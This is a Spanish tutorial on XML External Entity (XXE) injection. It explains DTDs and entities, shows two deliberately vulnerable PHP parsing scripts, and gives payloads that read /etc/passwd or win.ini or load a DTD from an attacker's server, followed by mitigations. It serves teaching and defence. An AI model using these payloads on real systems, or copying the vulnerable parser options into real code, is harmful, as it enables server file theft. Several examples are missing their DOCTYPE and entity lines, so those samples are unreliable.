La inyección de entidades externas XML, comúnmente conocida como XXE (XML External Entity Injection), representa una clase de vulnerabilidades de seguridad que surgen cuando un analizador XML procesa datos XML con referencias a entidades externas no seguras. Estas vulnerabilidades pueden permitir a un atacante leer archivos arbitrarios en el servidor, realizar solicitudes HTTP/S del lado del servidor (SSRF), o incluso ejecutar código en algunas configuraciones.
Fundamentos de XML
¿Qué es XML?
XML (eXtensible Markup Language) es un lenguaje de marcado diseñado para almacenar y transportar datos. A diferencia de HTML, que está predefinido, XML no tiene etiquetas preestablecidas; en su lugar, permite a los usuarios definir sus propias etiquetas para describir la estructura y el significado de los datos. Esto lo convierte en una herramienta versátil para el intercambio de información entre sistemas.
Propósito de XML
El principal objetivo de XML es la organización, almacenamiento y transmisión de datos. Facilita la interoperabilidad entre diferentes aplicaciones y plataformas, siendo una base fundamental para muchos protocolos web y formatos de documentos.
Sintaxis XML Básica
Un documento XML sigue una estructura jerárquica y debe ser "bien formado". Un ejemplo simple podría ser:
<?xml version="1.0" encoding="UTF-8"?>
<producto>
<nombre>Smartphone X1</nombre>
<marca>GlobalTech</marca>
<especificaciones>
<ram>8GB</ram>
<almacenamiento>128GB</almacenamiento>
</especificaciones>
<precio moneda="USD">699.99</precio>
</producto>
Este fragmento muestra un elemento raíz (producto) que contiene varios elementos hijos y un atributo (moneda).
Reglas de Sintaxis
- Todo documento XML debe tener un elemento raíz único.
- Todos los elementos XML deben tener una etiqueta de cierre.
- Las etiquetas XML son sensibles a mayúsculas y minúsculas (
<Nombre>es diferente de<nombre>). - Los elementos deben anidarse correctamente.
- Los valores de los atributos deben ir entre comillas.
- Se pueden usar caracteres especiales a través de entidades (por ejemplo,
<para<).
Reglas de Nomenclatura para Elementos
Los nombres de los elementos XML deben:
- Comenzar con una letra o un guion bajo.
- No pueden empezar con "xml" (en cualquier combinación de mayúsculas y minúsculas).
- Pueden contener letras, dígitos, guiones, guiones bajos y puntos.
- No pueden contener espacios.
Validación XML con DTD
Un documento XML es "bien formado" si sigue las reglas de sintaxis básicas. Se considera "válido" si, además, cumple con una definición de tipo de documento (DTD). Una DTD define la estructura y los elementos legales de un documento XML.
DTD Interna
Una DTD puede ser declarada directamente dentro del documento XML. Se incluye dentro de la declaración <!DOCTYPE>:
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT item (nombre, sku, cantidad, precio)>
<!ELEMENT nombre (#PCDATA)>
<!ELEMENT sku (#PCDATA)>
<!ELEMENT cantidad (#PCDATA)>
<!ELEMENT precio (#PCDATA)>
]>
<inventario>
<item>
<nombre>Monitor LED 27"</nombre>
<sku>MON-2701</sku>
<cantidad>15</cantidad>
<precio>250.00</precio>
</item>
</inventario>
En este ejemplo:
!DOCTYPE inventario: Declara que el elemento raíz esinventario.!ELEMENT inventario (item+): Define queinventariocontiene uno o más elementositem.!ELEMENT nombre (#PCDATA): Define que el elementonombrecontiene datos parseados de caracteres (Parsed Character Data).
DTD Externa
Alternativamente, una DTD puede ser un archivo externo, referenciado por el documento XML. Esto permite reutilizar DTDs en múltiples documentos.
Primero, el archivo DTD (por ejemplo, productos.dtd):
<!ELEMENT catalogo (articulo+)>
<!ELEMENT articulo (id, descripcion, costo)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT descripcion (#PCDATA)>
<!ELEMENT costo (#PCDATA)>
Luego, el documento XML que lo referencia:
<?xml version="1.0" encoding="UTF-8"?>
<catalogo>
<articulo>
<id>A001</id>
<descripcion>Mouse Inalámbrico</descripcion>
<costo>25.50</costo>
</articulo>
</catalogo>
El uso de la palabra clave SYSTEM indica que el DTD se encuentra en un archivo local o en una URL.
Entidades DTD
Las entidades son variables que almacenan valores y se utilizan como atajos para texto repetitivo o caracteres especiales. Pueden ser internas o externas.
Entidades Internas
Se declaran y se utilizan dentro del mismo documento XML/DTD.
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT titulo (#PCDATA)>
<!ELEMENT autor (#PCDATA)>
<!ELEMENT contenido (#PCDATA)>
<!-- Declaración de entidad interna -->
<!ENTITY nombre_empresa "Tech Solutions Inc.">
<!ENTITY fecha_actual "2023-10-27">
]>
<informe>
<titulo>Reporte Anual de &nombre_empresa;</titulo>
<autor>Equipo de Análisis</autor>
<contenido>Este es el informe generado en &fecha_actual;.</contenido>
</informe>
Una entidad se referencia con &nombre_entidad;.
Entidades Externas
Permiten al analizador XML cargar contenido de recursos externos (archivos, URLs). Este es el vector principal de las vulnerabilidades XXE.
<!ENTITY nombre_entidad SYSTEM "URI/URL">
El URI puede ser una ruta de archivo local o una URL remota. Ejemplos de esquemas de URI que pueden ser utilizados:
file:///ruta/al/archivo.txt: Acceso a archivos locales (e.g.,file:///etc/passwd).http://dominio.com/recurso.txt: Acceso a recursos web remotos.ftp://servidor.com/data.xml: Acceso a recursos FTP.php://filter/read=convert.base64-encode/resource=/ruta/al/secreto.php: (En PHP) Para leer archivos locales codificados en Base64.
La referencia a una entidad externa en el XML hará que el analizador intente cargar y procesar el contenido del URI especificado.
Entidades Parámetro
Son un tipo especial de entidades DTD que solo pueden ser referenciadas dentro de la DTD. Se declaran usando el signo de porcentaje % y también pueden ser internas o externas.
<!ENTITY % nombre_parametro "valor">
<!ENTITY % nombre_parametro SYSTEM "URI">
Ejemplo de uso para cargar una DTD externa maliciosa:
<?xml version="1.0" encoding="UTF-8"?>
%datos_remotos;
<!ENTITY mensaje "Contenido sensible: &xxe_payload;">
]>
<aplicacion>
<respuesta>&mensaje;</respuesta>
</aplicacion>
En este escenario, xxe.dtd en el servidor del atacante podría contener una declaración de entidad que extrae información del sistema de archivos, como <!ENTITY xxe_payload SYSTEM "file:///etc/passwd">. La entidad parámetro %datos_remotos; forza al analizador a cargar y procesar la DTD externa.
Procesamiento de XML en PHP (Ejemplos Vulnerables)
Algunas funciones de procesamiento XML en lenguajes como PHP pueden ser configuradas para ser vulnerables a XXE. La biblioteca libxml de PHP, utilizada por funciones como simplexml_load_string y simplexml_load_file, permite la carga de entidades externas por defecto en versiones antiguas, o cuando se habilitan explícitamente.
Ejemplo: Procesamiento de cadena XML
Este script parsea una cadena XML predefinida, que incluye una entidad externa.
<?php
// Script de ejemplo para procesamiento de XML (vulnerable a XXE)
header("Content-Type: text/html; charset=utf-8");
$xml_document_string = <<<XML_DATA
<?xml version="1.0" encoding="UTF-8"?>
]>
<user_profile>
<username>admin</username>
<description>&file_content;</description>
</user_profile>
XML_DATA;
// LIBXML_NOENT: Sustituye entidades por sus valores
// LIBXML_DTDLOAD: Carga la DTD externa
// Estas opciones son cruciales para la explotación de XXE
$parser_options = LIBXML_NOENT | LIBXML_DTDLOAD;
$parsed_data = simplexml_load_string($xml_document_string, "SimpleXMLElement", $parser_options);
if ($parsed_data === false) {
echo "Error al parsear el XML.";
} else {
echo "Usuario: " . htmlspecialchars($parsed_data->username) . "<br/>";
echo "Descripción: " . nl2br(htmlspecialchars($parsed_data->description)); // Esto podría mostrar el contenido de /etc/passwd
}
?>
Ejemplo: Procesamineto de datos XML desde una solicitud HTTP
Este script simula una aplicación web que recibe XML en el cuerpo de una solicitud POST.
<?php
// Script de ejemplo para procesamiento de XML desde entrada HTTP (vulnerable a XXE)
header("Content-Type: text/html; charset=utf-8");
$input_xml_data = file_get_contents("php://input");
if (empty($input_xml_data)) {
echo "No se recibieron datos XML.";
exit();
}
// Opciones que permiten la carga de entidades externas, haciendo el parser vulnerable
$parser_options = LIBXML_NOENT | LIBXML_DTDLOAD;
$processed_xml = simplexml_load_string($input_xml_data, "SimpleXMLElement", $parser_options);
if ($processed_xml === false) {
echo "Error al parsear el XML recibido.";
} else {
// Asumiendo que esperamos un elemento 'feedback_message'
echo "Mensaje de feedback: " . htmlspecialchars($processed_xml->feedback_message);
}
?>
Un atacante podría enviar el siguiente payload en el cuerpo de una solicitud POST a este script:
<?xml version="1.0" encoding="UTF-8"?>
]>
<feedback>
<feedback_message>&system_config;</feedback_message>
</feedback>
El servidor respondería con el contenido del archivo win.ini.
Estrategias de Defensa contra XXE
La mitigación de las vulnerabilidades XXE se centra en la desactivación de la carga de entidades externas o en la validación estricta de la entrada XML.
- Desactivar la carga de entidades externas: La forma más efectiva es configurar el analizador XML para que no resuelva entidades externas. En PHP, esto se logra con
libxml_disable_entity_loader(true);antes de parsear cualquier XML. - Validación de entrada: Si la carga de entidades externas es absolutamente necesaria (lo cual es raro), se debe implementar una validación rigurosa. Esto incluye la eliminación o el filtrado de declaraciones como
<!DOCTYPE>y<!ENTITY>, así como las palabras claveSYSTEMyPUBLIC, de la entrada XML proporcionada por el usuario. - Actualizar bibliotecas: Mantener actualizadas las bibliotecas de análisis XML, ya que las versiones modernas pueden tener la carga de entidades externas deshabilitada por defecto o incluir mejores mecanismos de sgeuridad.